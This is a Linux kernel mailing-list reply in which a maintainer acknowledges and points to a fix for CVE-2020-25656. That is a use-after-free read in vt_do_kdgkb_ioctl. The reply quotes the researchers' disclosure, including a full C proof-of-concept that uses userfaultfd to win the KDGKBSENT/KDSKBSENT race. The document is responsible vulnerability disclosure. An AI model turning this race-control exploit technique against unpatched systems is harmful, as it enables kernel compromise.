```
Subject  Re: [oss-security] CVE-2020-25656: Linux kernel concurrency UAF in vt_do_kdgkb_ioctl
From     Jiri Slaby <>
Date     Fri, 16 Oct 2020 08:58:34 +0200
```

```
Cc Greg.

On 16. 10. 20, 5:39, Minh Yuan wrote:
> Hi,
>
> We recently discovered a uaf read in vt_do_kdgkb_ioctl from linux kernel
> version 3.4 to the latest version (v5.9 for now).
>
> The root cause of this vulnerability is that there exits a race in
> KDGKBSENT and KDSKBSENT.
>
> Here are details:
> 1. use  KDSKBSENT to allocate a lager heap buffer to funcbufptr;
> 2. use KDGKBSENT to obtain the allocated heap pointer in step1 by
> func_table, at the same time, due to KDGKBSENT has no lock, we can use
> KDSKBSENT again to allocate a larger buffer than step1, and the old
> funcbufptr will be freed. However, we've obtained the heap pointer in
> KDGKBSENT, so a uaf read will happen while executing put_user.

Hi,

this is likely the issue I am fixing at:
https://git.kernel.org/pub/scm/linux/kernel/git/jirislaby/linux.git/commit/?h=devel&id=57c85191e788e172a446e34ef77d34473cfb1e8d

I think, it won't apply cleanly as it's a part of a larger set. I will
reorder the patch and send something during the day.

Thanks.

> I've successfully reproduced this bug in a special way.
> However, to write a universal PoC for anyone else to reproduce it,  I use
> userfaultfd to handle the order of "free" and "use" in multithreading
> environment. This is my PoC:
>
> // author by ziiiro@thu
> #include <stdio.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <sys/ioctl.h>
> #include <string.h>
> #include <sys/types.h>
> #include <sys/stat.h>
> #include <fcntl.h>
> #include <sys/mman.h>
> #include <poll.h>
> #include <pthread.h>
> #include <errno.h>
> #include <stdlib.h>
> #include <signal.h>
> #include <string.h>
> #include <sys/syscall.h>
> #include <linux/userfaultfd.h>
> #include <pthread.h>
> #include <poll.h>
> #include <linux/prctl.h>
> #include <stdint.h>
>
> #define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
>                         } while (0)
>
> #define KDGKBSENT 0x4B48 /* gets one function key string entry */
> #define KDSKBSENT 0x4B49 /* sets one function key string entry */
>
> struct kbsentry {
> unsigned char kb_func;
> unsigned char kb_string[512];
> };
> int fd;
> static int page_size;
> static void *fault_handler_thread(void *arg) {
>    unsigned long value;
>    static struct uffd_msg msg;
>    static int fault_cnt = 0;
>    long uffd;
>    static char *page = NULL;
>    struct uffdio_copy uffdio_copy;
>    int len, i;
>    if (page == NULL) {
>      page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
>                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
>      if (page == MAP_FAILED) errExit("mmap (userfaultfd)");
>    }
>    uffd = (long)arg;
>
>    for(;;) {
>      struct pollfd pollfd;
>      pollfd.fd = uffd;
>      pollfd.events = POLLIN;
>      len = poll(&pollfd, 1, -1);
>
>
>      read(uffd, &msg, sizeof(msg));
>      printf("    flags = 0x%lx\n", msg.arg.pagefault.flags);
>      printf("    address = 0x%lx\n", msg.arg.pagefault.address);
>      switch(fault_cnt) {
>          case 0:
>              puts("triggered in the first page!");
>              break;
>          case 1:
>              puts("triggered in the seccond page!");
>              munmap((void*)0x233000,page_size);
>              void *addr = (void*)mmap((void*)0x233000,
>                          page_size,
>                          PROT_READ | PROT_WRITE,
>                          MAP_FIXED | MAP_PRIVATE | MAP_ANON,
>                          -1, 0);
>              if ((unsigned long)addr != 0x233000)
>                  errExit("mmap (0x233000)");
>              // register 0x233000 again to trigger put_user
>              struct uffdio_register uffdio_register;
>              uffdio_register.range.start = (unsigned long)addr;
>              uffdio_register.range.len   = page_size;
>              uffdio_register.mode        = UFFDIO_REGISTER_MODE_MISSING;
>              if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
>                  errExit("ioctl: UFFDIO_REGITER");
>              break;
>          case 2:
>              puts("triggered in put_user!");
>              struct kbsentry *kbs;
>              kbs = malloc(sizeof(struct kbsentry));
>              kbs->kb_func = 0;
>
> strcpy(kbs->kb_string,"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb=
> bbbbbbbbb");
>               // free old funcbufptr
>               ioctl(fd,KDSKBSENT,kbs);
>               break;
>
>       }
>       // return to kernel-land
>       uffdio_copy.src = (unsigned long)page;
>       uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address &
> ~(page_size - 1);
>       uffdio_copy.len = page_size;
>       uffdio_copy.mode = 0;
>       uffdio_copy.copy = 0;
>       if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
>           errExit("ioctl: UFFDIO_COPY");
>
>       fault_cnt++;
>
>     }
> }
> // use userfaultfd to handle free->use
> void setup_pagefault(void *addr, unsigned size) {
>    long uffd;
>    pthread_t th;
>    struct uffdio_api uffdio_api;
>    struct uffdio_register uffdio_register;
>    int s;
>    // new userfaulfd
>
>    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
>    if (uffd == -1) errExit("userfaultfd");
>    // enabled uffd object
>    uffdio_api.api = UFFD_API;
>    uffdio_api.features = 0;
>    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl:
> UFFDIO_API");
>    // register memory address
>    uffdio_register.range.start = (unsigned long)addr;
>    uffdio_register.range.len   = size;
>    uffdio_register.mode        = UFFDIO_REGISTER_MODE_MISSING;
> //UFFDIO_REGISTER_MODE_WP;//
>    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("io=
> ctl:
> UFFDIO_REGITER");
>    // monitor page fault
>    s = pthread_create(&th, NULL, fault_handler_thread, (void*)uffd);
>    if (s != 0) errExit("pthread_create");
> }
>
>
> int main(int argc, char** argv)
> {
>          struct kbsentry *kbs;
>          pthread_t th;
>          page_size = sysconf(_SC_PAGE_SIZE);
>          void *addr = (void*)mmap((void*)0x233000,
>                              page_size * 2,
>                              PROT_READ | PROT_WRITE,
>                              MAP_FIXED | MAP_PRIVATE | MAP_ANON,
>                              -1, 0);
>          if ((unsigned long)addr != 0x233000)
>              errExit("mmap (0x233000)");
>          setup_pagefault(addr, page_size * 2);
>          kbs = malloc(sizeof(struct kbsentry));
>          kbs->kb_func = 0;
>          fd = open("/dev/tty1", O_RDONLY, 0);
>
> strcpy(kbs->kb_string,"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
> a");
>          // allocate a lager funcbufptr
>          ioctl(fd,KDSKBSENT,kbs);
>          // use KDGKBSENT to access the new funcbufptr
>          ioctl(fd,KDGKBSENT,addr + page_size - 0x20);
>          return 1;
>
> }
>
> Make sure set KASAN in config, and to use userfaultfd, CONFIG_USERFAULTFD=y
> is also needed. Besides, it needs the privilege to access tty to trigger
> this bug.
>
> We've noticed that this bug was also discovered by Syzbot 8 months ago, but
> no one has successfully reproduced it (
> https://groups.google.com/g/syzkaller-bugs/c/kZsmxkpq3UI/m/J35PFexWBgAJ),
> leaving this issue ignored and upatched yet. Hope this PoC can help
> someone.
>
> Timeline:
> * 10.15.20 - Vulnerability reported to security@kernel.org and
> linux-distros@vs.openwall.org.
> * 10.15.20 - CVE-2020-25656 assigned.
> * 10.16.20 - Vulnerability opened.
>
> Thanks,
> Yuan Ming and Bodong Zhao, Tsinghua University
>


--
js
suse labs
```

Last update: 2020-10-16 08:59 [W:0.013 / U:0.392 seconds]
©2003-2020 *Jasper Spaans*|hosted at *Digital Ocean* and *TransIP*|*Read the blog*|*Advertise on this site*